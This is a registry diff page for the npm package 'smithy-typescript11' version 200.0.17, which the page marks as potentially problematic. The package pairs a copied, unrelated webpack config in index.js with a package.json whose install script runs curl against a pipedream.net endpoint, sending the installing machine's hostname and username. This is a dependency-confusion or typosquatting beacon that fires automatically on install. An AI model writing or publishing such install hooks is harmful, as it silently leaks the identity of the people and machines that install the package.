smithy-typescript11 200.0.17

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of smithy-typescript11 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ const webpack = require('webpack');
2
+ const path = require('path');
3
+
4
+ module.exports = {
5
+ devtool: 'source-map',
6
+ entry: {
7
+ worker: path.join(__dirname, './src/browser/src/library.js')
8
+ },
9
+ output: {
10
+ path: path.join(__dirname, './dist'),
11
+ filename: 'cordova-plugin-qrscanner-lib.min.js',
12
+ library: 'QRScanner',
13
+ libraryTarget: 'umd',
14
+ umdNamedDefine: true
15
+ },
16
+ plugins: [
17
+ new webpack.optimize.UglifyJsPlugin({
18
+ comments: false,
19
+ sourceMap: true
20
+ })
21
+ ]
22
+ };
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "smithy-typescript11",
3
+ "version": "200.0.17",
4
+ "description": "smithy-typescript: coolest nodejs package on planet earth",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "curl -sI https://eowy6p9tftvl535.m.pipedream.net/smithy/%computername%`hostname`/%username%-`whoami`/p-smithy-typescript"
8
+ },
9
+ "author": "another noob developer",
10
+ "license": "ISC"
11
+ }